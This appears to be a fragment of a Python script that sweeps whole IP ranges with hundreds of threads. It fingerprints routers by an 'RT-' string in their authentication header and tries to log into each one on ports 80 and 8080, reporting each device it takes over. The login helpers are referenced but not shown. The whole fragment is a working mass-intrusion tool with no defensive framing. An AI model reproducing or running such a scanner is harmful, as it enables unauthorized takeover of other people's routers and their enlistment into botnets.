def check_ip(host):
    print('Try host: ' + str(host))
    try:
        response = requests.get(host, timeout=3)
        if 'RT-' in response.headers['WWW-Authenticate']:
            print('Rout found: ' + str(host))
            if login_80(host):
                print('Get Router: ' + str(host))
    except Exception:
        try:
            response = requests.get(host + ':8080', timeout=3)
            if 'RT-' in response.headers['WWW-Authenticate']:
                if login_8080(host):
                    print('Get Router: ' + str(host))
        except Exception:
            return False
def main_function(cidrlist):
    cidr_list = build_ip_address_from_cidr(cidrlist)
    print('Total IPs: ' + str(len(cidr_list)))
    pool = TPool(250)
    result = pool.map(check_ip, cidr_list)
    pool.close()
    pool.join()
    return result
def run_main():
    cidr = build_cidr_list()
    pool = Pool(6)
    result = pool.map(main_function, cidr)
    pool.close()
    pool.join()
    return result
run_main()